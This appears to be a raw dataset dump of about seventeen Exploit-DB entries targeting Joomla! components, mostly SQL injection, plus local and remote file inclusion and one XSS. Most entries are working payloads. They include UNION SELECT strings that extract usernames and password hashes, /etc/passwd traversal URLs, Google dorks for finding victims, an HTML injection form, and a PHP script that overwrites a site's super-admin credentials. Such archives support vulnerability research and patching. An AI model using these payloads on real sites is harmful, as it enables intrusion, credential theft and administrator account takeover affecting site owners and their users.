deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40973
Description: Joomla! Component aWeb Cart Watching System for Virtuemart 2.6.0 - SQL Injection
Type: webapps
Platform: php
Date: 2016-12-28
Author: qemm

Exploit:
# Exploit Title: Sqli Blind Timebased on Joomla + Viertuemart + aweb-cartwatching-system/aweb-cartwatching <= 2.6.0
# Date: 28-12-2016
# Software Link: http://awebsupport.com/products/aweb-cartwatching-system
# Exploit Author: Javi Espejo(qemm)
# Contact: http://twitter.com/javiespejo
# Website: http://raipson.com 
# CVE: REQUESTED
# Category: webapps
 
1. Description
   
Any remote user can access to the victim server trough a SQLI Blind Injection on a component of aweb_cartwatching_system and aweb_cart_autosave
This the code that has the parameters with the parameters not sanitized 

2. Proof of Concept

option=com_virtuemart&view=categorysearch' RLIKE (SELECT * FROM (SELECT(SLEEP(5)))sgjA) AND 'jHwz'='jHwz&task=smartSearch and it works and I can access to every database on the client system launching other queries.
   
3. Solution:
   
Update to version 2.6.1 from the update center of joomla.
The Joomla vel publish the vulnerability on
Answer from Joomla VEL "We have added it to the VEL here: https://vel.joomla.org/resolved/1897-aweb-cart-watching-system-2-6-0 
http://awebsupport.com/
Exploit-DB #12101
Description: Joomla! Component aWiki - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-07
Author: Angela Zhang

Exploit:
(o)===============================================================================(o)

                  Joomla Component aWiki Local File Inclusion


                Vendor   : http://joomla.anezi.net/awiki
                Author    : Angela Zhang
                Contact  : mizz_4ng3l@yahoo.com
                Date        :   05 - April - 2010

(o)================================================================================(o)

     [o] Exploit
 
       http://localhost/[path]/index.php?option=com_awiki&controller=[LFI]
 
 
    [o] PoC
 
       http://localhost/index.php?option=com_awiki&controller=../../../../../../../../../../../../../../../etc/passwd%00



(o)==================================================================================(o)

Greetz   :   -:-  SkyCreW  -:-

     Nyubi (Solpot) , Vrs-hCk , OoN_BoY , NoGe , Paman , zxvf ,   home_edition2001   ,   mywisdom , s4va, 
     Winda Slovski , stardustmemory, wishnusakti, Xco Nuxco , Cakill Schumbag, dkk
     
(o)===================================================================================(o)
Exploit-DB #41506
Description: Joomla! Component AYS Quiz 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-04
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component AYS Quiz v1.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_aysquiz
# Date: 04.03.2017
# Vendor Homepage: http://ays-pro.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/living/education-a-culture/ays-quiz/
# Demo: http://demo.ays-pro.com/index.php/ays-quiz
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/index.php?option=com_aysquiz&controller=question&id=[SQL]&format=raw
# For example;
# 1'+/*!50000union*/+select+(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),2,3,4,5-- -&format=raw
# :title<li>whlzd_users
# :id<li>whlzd_users
# :name<li>whlzd_users
# :username<li>whlzd_users
# :email<li>whlzd_users
# :password<li>whlzd_users
# :block<li>whlzd_users
# 1'+/*!50000union*/+select+/*!50000concat*/(username,/*!50000char*/(58),password),2,3,4,5+from+whlzd_users-- -&format=raw
# <input class='ays_radio hide' type='radio'  id='ans_admin:$2y$10$T7Cetq0lrME/gyxxS0usx.bh2OldeDOhccAW7Ikf33.KhbmZbEgfa'
# Etc...
# # # # #
Exploit-DB #10971
Description: Joomla! Component Bamboo Simpla Admin Template - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: Joomla Bamboo Simpla Admin Template suffer from REMOTe sql injection
[~] Vendor: .joomlabamboo.com
[?] Software:Joomla Bamboo Simpla Admin Template
[-]
[?] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A
[-]
[?] Date: 3.Jan.2010
[?] T!ME: 09:15 am GMT
[?] Home: WwW.xP10.ME
[?]
[?]
[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????


[*] Err0r C0N50L3:


http://server/P47H/index.php?option=com_content&view=article&id= {EV!L EXPLO!T}

[~] {EV!L EXPLO!T}:

-666/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7,8/**/from/**/jos_users--



N073:

REAL RED DEV!L W@S h3r3 LAMERZ


GAZA !N our hearts !


[~]-----------------------------{((Angela Bennett))}---------------------------------------


[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t))

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]---------------------------------------------------------------------------------------------
Exploit-DB #42552
Description: Joomla! Component Bargain Product VM3 1.0 - 'product_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-08-24
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Bargain Product VM3 1.0 - SQL Injection
# Dork: N/A
# Date: 25.08.2017
# Vendor Homepage: https://www.weborange.eu/
# Software Link: https://www.weborange.eu/extensions/index.php/extensions-vm3/bargain-product-vm3-detail
# Demo: http://www.weborange.eu/demo/index.php/bargain-product
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php/component/pazzari_vm3/?view=brainy&product_id=[SQL]
# http://localhost/[PATH]/index.php/component/pazzari_vm3/?view=alice&product_id=[SQL]
#
# 17+OR+0x[PII_REDACTED]+/*!00005Group*/+BY+/*!00005ConcAT_WS*/(0x3a,0x496873616e2053656e63616e,VersioN(),FLooR(RaND(0)*0x32))+/*!00005havinG*/+min(0)+OR+0x31
#
# Etc..
# # # # #
Exploit-DB #41390
Description: Joomla! Component Bazaar Platform 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Bazaar Platform v3.0 - SQL Injection
# Google Dork: inurl:index.php?option=com_bazaar
# Date: 18.02.2017
# Vendor Homepage: http://matamko.com/
# Software Buy: http://matamko.com/products/bazaar/live-demo
# Demo: http://matamko.com/products/bazaar/live-demo
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_bazaar&view=productsearch&searchproduct=a&category=[SQL]
# 1+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/index.php?option=com_bazaar&view=productsearch&searchproduct=[SQL]
# 1'+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# http://localhost/[PATH]/index.php?option=com_bazaar&view=product&productid=[SQL]
# 1+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# Etc...
# # # # #
Exploit-DB #5965
Description: Joomla! Component beamospetition - SQL Injection
Type: webapps
Platform: php
Date: 2008-06-28
Author: His0k4

Exploit:
/---------------------------------------------------------------\
\                                				/
/     Joomla Component beamospetition Remote SQL injection      \
\                                				/
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_beamospetition

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_beamospetition&pet={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_beamospetition&pet=-5 UNION SELECT user(),user(),user(),user(),user(),user(),user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user() FROM jos_users--
     
----------------------------------------------------------------------------
[*] Greetings :  All friends & muslims HaCkeRs...
[*] Greetings2:  http://www.dz-secure.com
                 http://palcastle.org/cc

# milw0rm.com [2008-06-28]
Exploit-DB #7847
Description: Joomla! Component beamospetition 1.0.12 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-01-21
Author: vds_s

Exploit:
Joomla component beamospetition 1.0.12 Sql Injection / Xss

Author : vds_s

Dork : "Powered by beamospetition 1.0.12"

Dl : http://joomlacode.org/gf/project/beamospetition/

Xss : http://[site]/?option=com_beamospetition&func=sign&pet='><script>alert('Xss')</script>

Sql Injection : http://[site]/?option=com_beamospetition&func=sign&mpid=-9999'%20union%20select%200,1,username,password,4,5,6,7,8,9,10,11,12,13,14,15%20from%20jos_users/* 

# milw0rm.com [2009-01-21]
Exploit-DB #12239
Description: Joomla! Component BeeHeard 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-14
Author: AntiSecurity

Exploit:
==================================================================================================================


  [o] Joomla Component BeeHeard Lite Local File Inclusion Vulnerability
 
       Software : com_beeheard version 1.0
       Vendor   : http://beeheard.cmstactics.com
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_beeheard&controller=[LFI]       << Old version
       http://localhost/[path]/index.php?option=com_beeheardlite&controller=[LFI]   << New version


  [o] PoC

       http://localhost/index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00
       http://localhost/index.php?option=com_beeheardlite&controller=../../../../../../../../../../etc/passwd%00


==================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==================================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #12780
Description: Joomla! Component BF Quiz 1.3.0 - SQL Injection (1)
Type: webapps
Platform: php
Date: 2010-05-28
Author: Valentin

Exploit:
# Exploit Title: Joomla Component BF Quiz SQL Injection Vulnerability
# Date: 29th May 2010
# Author: Valentin
# Category: webapps/0day
# Version: 1.3.0
# Tested on: Debian, Apache2, MySQL 5
# CVE :  
# Code : 


[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = Joomla Component BF Quiz SQL Injection Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = BF Quiz
Vendor = Tamlyn Creative Pty Ltd
Vendor Website = http://www.tamlyncreative.com/software/
Affected Version(s) = 1.3.0

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> SQL Injection
Example URI = 
index.php?option=com_bfquiztrial&view=bfquiztrial&catid=[SQL Injection]&Itemid=62


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 29th May 2010

I found this vulnerability while testing my new SQL injection vulnerability scanner.
(Will be released soon!)
Actually didn't find the vulnerability when I looked at this Joomla component for
the first time, lol.


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB and hack0wn!
Special Greetz = cr4wl3r and /JosS!
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #9601
Description: Joomla! Component BF Survey Pro Free - SQL Injection
Type: webapps
Platform: php
Date: 2009-09-09
Author: jdc

Exploit:
<?php
 echo '<h2>Joomla Component BF Survey Pro Free SQL Injection Exploit</h2>';
 echo '<h4>jdc 2009</h4>';
 echo '<p>Google dork: inurl:com_bfsurvey_profree</p>';
   ini_set( "memory_limit", "128M" );
   ini_set( "max_execution_time", 0 );
   set_time_limit( 0 );
   if( !isset( $_GET['url'] ) ) die( 'Usage: '.$_SERVER['SCRIPT_NAME'].'?url=www.victim.com' );
   $vulnerableFile = "http://".$_GET['url']."/index.php";
   $url = $vulnerableFile;
 $data = array();
 $data['option'] = 'com_bfsurvey_profree';
 $data['task'] = 'updateOnePage';
 $data['table'] = "jos_users set username=CHAR(".sqlChar( 'r00t' )."), password=CHAR(".sqlChar( md5('r00t' ) )."), email=CHAR(".sqlChar( 'x' ).") where gid=25 limit 1   --   '";
 $output = getData();
 die( '<script>alert("Now log in as r00t/r00t!");location.href="http://'.$_GET['url'].'/administrator/index.php";</script>' );
 function shutUp( $buffer ) { return false; }
 function sqlChar( $str ) { return implode( ',', array_map( 'ord', str_split( $str ) ) ); }
 function getData()
 {
   global $data, $url;
   ob_start( "shutUp" );
   $ch = curl_init();
   curl_setopt( $ch, CURL_TIMEOUT, 120 );
   curl_setopt( $ch, CURL_RETURNTRANSFER, 0 );
   curl_setopt( $ch, CURLOPT_URL, $url );
   if( count( $data ) > 0 )
   {
           curl_setopt( $ch, CURLOPT_POST, count( $data ) );
           curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $data ) );
   }
   curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" );
   curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );
   $result = curl_exec( $ch );
   curl_close( $ch );
   $return = ob_get_contents();
   ob_end_clean();
   return $return;
 }
?>

# milw0rm.com [2009-09-09]
Exploit-DB #14703
Description: Joomla! Component Biblioteca 1.0 Beta - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-08-21
Author: Salvatore Fresta

Exploit:
Biblioteca 1.0 Beta Joomla Component Multiple SQL Injection Vulnerabilities

 Name              Biblioteca
 Vendor            http://www.cielostellato.info
 Versions Affected 1.0 Beta

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-08-21

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

Component  that  allows  the automatic  management  of a
library  in  electronic format. It' can manage books and
their  loans  through   an   attractive  graphical  user
interface simple and usable.


II. DESCRIPTION
_______________

This component doesn't use the common Joomla's functions
to  get  the parameters's value from GET, POST etc.. and
all  of  these  are  not properly sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple Blind SQL Injection
 B) Multiple SQL Injection
 

A) Multiple Blind SQL Injection
_______________________________


The  parameter  testo  passed  to  bi.php (site and admin
frontends)  is  properly sanitised before being used in a
SQL query.This can be exploited to manipulate SQL queries
by injecting arbitrary SQL code.


B) Multiple SQL Injection
_________________________

The  parameter testo  passed  to  stampa.php, pdf.php and 
models/biblioteca.php (when "view" is set to "biblioteca"
) is  properly sanitised before being used in SQL queries.
This  can  be  exploited to  manipulate  SQL  queries  by
injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

http://host/path/components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23

http://host/path/components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23

http://host/path/index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23


V. FIX
______

No fix.
Exploit-DB #4310
Description: Joomla! Component BibTeX 1.3 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-08-23
Author: ajann

Exploit:
<html>
<head>
<title>Joomla Component BibTeX <= 1.3 Remote Blind SQL Injection Vulnerability</title>
</head>
<body>

<!-- # Title   :  Joomla Component BibTeX <= 1.3 Remote Blind SQL Injection Vulnerability -->
<!-- # Author  :  ajann -->
<!-- # Contact :  :( -->
<!-- # S.Page  :  http://www.everythingthatiknowabout.com -->
<!-- # $$      :  Free -->
<!-- # Dork    :  inurl:index.php?option=com_jombib -->
<!-- # DorkEx  :  http://www.google.com.tr/search?q=inurl:index.php%3Foption%3Dcom_jombib&hl=tr&start=0&sa=N -->
<!-- # .. -->
<!-- # TURKEY -->

<!-- # Note: Pls Edit [form action=] and Direct Submit // form action example: xx.xx/path/index.php?option=com_jombib-->




<form action="...." method="post" name="adminForm">

				<table>
					<tr>
							<td valign="bottom">
								Autore
								<input type="text" name="afilter" value="abcdefg' union select 111,222,333,444,555,1,1,1,1,1,2,3,4,5,6,1,2,3,4,5,3,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),5,4,2,2,2,2,2,0,0,0 from jos_users/*" class="inputbox" onchange="document.adminForm.submit();" size="20" />
							</td>
							<td valign="bottom">
								Titolo
								<input type="text" name="filter" value="" class="inputbox" onchange="document.adminForm.submit();" size="20" />
							</td>

							<td valign="bottom">
								<input type="submit" value="Direct Submit"/>
							</td>
							<td valign="bottom">
								&nbsp;&nbsp;&nbsp;Ordina&nbsp;
<select name="order" class="inputbox" size="1"  onchange="document.adminForm.submit();">
	<option value="ryear" selected="selected">Date desc</option>
	<option value="year">Date asc</option>

	<option value="title">Title asc</option>
	<option value="rtitle">Title desc</option>
	<option value="author">Author asc</option>
	<option value="rauthor">Author desc</option>
	<option value="journal">Journal asc</option>
	<option value="rjournal">Journal desc</option>

	<option value="type">Type</option>
</select>
							</td >
							<td nowrap="nowrap" valign="bottom">
								&nbsp;&nbsp;&nbsp;Mostra&nbsp;
<select name="limit" class="inputbox" size="1" onchange="document.location.href='http://www.gruppofrattura.it/index.php?option=com_jombib&amp;&amp;order=ryear&amp;limit=' + this.options[selectedIndex].value + '&amp;limitstart=0';">
	<option value="5">5</option>
	<option value="10">10</option>

	<option value="15">15</option>
	<option value="20">20</option>
	<option value="25">25</option>
	<option value="30">30</option>
	<option value="50" selected="selected">50</option>
</select>
							</td>

					</tr>
				</table>


		<input type="hidden" name="option" value="com_jombib" />
		<input type="hidden" name="catid" value="$catId" />
		</form>

</body>
</html>

# milw0rm.com [2007-08-23]
Exploit-DB #36171
Description: Joomla! Component Biitatemplateshop - 'groups' SQL Injection
Type: webapps
Platform: php
Date: 2011-09-26
Author: BHG Security Group

Exploit:
source: https://www.securityfocus.com/bid/49786/info

The 'com_biitatemplateshop' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_biitatemplateshop&groups=[SQLI]
Exploit-DB #40966
Description: Joomla! Component Blog Calendar - SQL Injection
Type: webapps
Platform: php
Date: 2016-12-26
Author: X-Cisadane

Exploit:
========================================================================================== 
Joomla com_blog_calendar SQL Injection Vulnerability 
========================================================================================== 

:-------------------------------------------------------------------------------------------------------------------------: 
: # Exploit Title : Joomla com_blog_calendar SQL Injection Vulnerability  
: # Date : 26th December 2016  
: # Author : X-Cisadane 
: # CMS Name : Joomla 
: # CMS Developer : http://joomlacode.org/gf/project/blog_calendar/ 
: # Category : Web Application 
: # Vulnerability : SQL Injection 
: # Tested On : SQLMap 1.0.12.9#dev
: # Greetz to : X-Code YogyaFree, ExploreCrew, CodeNesia, Bogor Hackers Community, Borneo Crew, Depok Cyber, Mantan 
:-------------------------------------------------------------------------------------------------------------------------: 

A SQL Injection Vulnerability has been discovered in the Joomla Module called com_blog_calendar. 
The Vulnerability is located in the index.php?option=com_blog_calendar&modid=xxx Parameter. 
Attackers are able to execute own SQL commands by usage of a GET Method Request with manipulated modid Value. 
Attackers are able to read Database information by execution of own SQL commands. 
  
DORKS (How to find the target) : 
================================  
inurl:/index.php?option=com_blog_calendar 
Or use your own Google Dorks :) 

Proof of Concept  
================  

SQL Injection 
PoC :  
http://[Site]/[Path]/index.php?option=com_blog_calendar&modid=['SQLi]
Exploit-DB #8908
Description: Joomla! Component BookLibrary 1.5.2.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-06-09
Author: Mehmet Ince

Exploit:
=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

  Joomla com_booklibrary_1.5.2.4 Remote File Include

  Download: http://ordasoft.com/Download-document/3-BookLibrary-1.5.2.4-Basic.html

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Found: xoron

contact: xorontr@gmail.com (only e-mail)

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Exploit:
          -> .../com_booklibrary/toolbar_ext.php?mosConfig_absolute_path=shell?

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

Thanx: str0ke, VoLkan

=-==-==-==-==-==-==-==X==O==R==O==N==-==-==-==-==-==-==-==-==-==-==-=

# milw0rm.com [2009-06-09]